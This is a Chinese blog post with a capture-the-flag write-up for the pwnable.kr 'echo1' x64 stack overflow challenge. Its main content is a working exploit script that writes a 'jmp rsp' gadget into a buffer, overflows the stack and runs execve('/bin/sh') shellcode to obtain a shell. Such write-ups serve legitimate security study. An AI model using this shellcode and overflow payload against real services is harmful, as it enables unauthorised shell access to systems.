echo1(Pwnable.kr)

0x0 写在前面的话

这是一个典型的栈溢出漏洞,而且运行平台为x64。同样,我也遇到了问题,没能解决,在此还是谢谢龙龙大神。溢出点找到了,由于之前做Linux溢出一直是在导入表中找函数system的地址,然后覆盖掉其它函数进行调用。在Windows平台下做过直接在栈中调用shellcode的,在Linux平台下,第一次遇到,思路不够开阔,没想到,惭愧。

0x1 简单分析

132139519102096.jpg

0x2 溢出脚本

脚本中使用了ziopwntools

from zio import *
from pwn import asm,disasm

def exp():
    #io = zio(('pwnable.kr', 9010))
    io = zio('./echo1', timeout = 99999)
    raw_input()

    io.read_until(':')
    jmpesp=asm("jmp rsp", arch = 'amd64', os = 'linux')

    shell =asm(
        """
        xor    rdx, rdx
        mov  rbx,0x68732f6e69622f2f
        shr    rbx,8
        push   rbx
        mov    rdi,rsp
        push   rax
        push   rdi
        mov    rsi,rsp
        mov   al,0x3b
        syscall
        mov rdi,0
        mov al, 0x3c
        syscall
        """, arch = 'amd64', os = 'linux')

    ret_addr = 0x6020A0
    payload = 'a'*0x28+l64(ret_addr)+shell   #aaaa' + l32(call_system) + l32(input_addr)

    io.writeline(jmpesp)
    io.read_until('>')
    io.writeline('1')
    io.writeline(payload)
    io.interact()

exp()

0x3 感谢

这次又得到了龙龙大神的帮助,脚本由龙龙大神提供。

0x4 参考链接

http://blog.csdn.net/raintungli/article/details/43865041
https://www.exploit-db.com/shellcode/

转载于:https://www.cnblogs.com/anewid/p/4574186.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值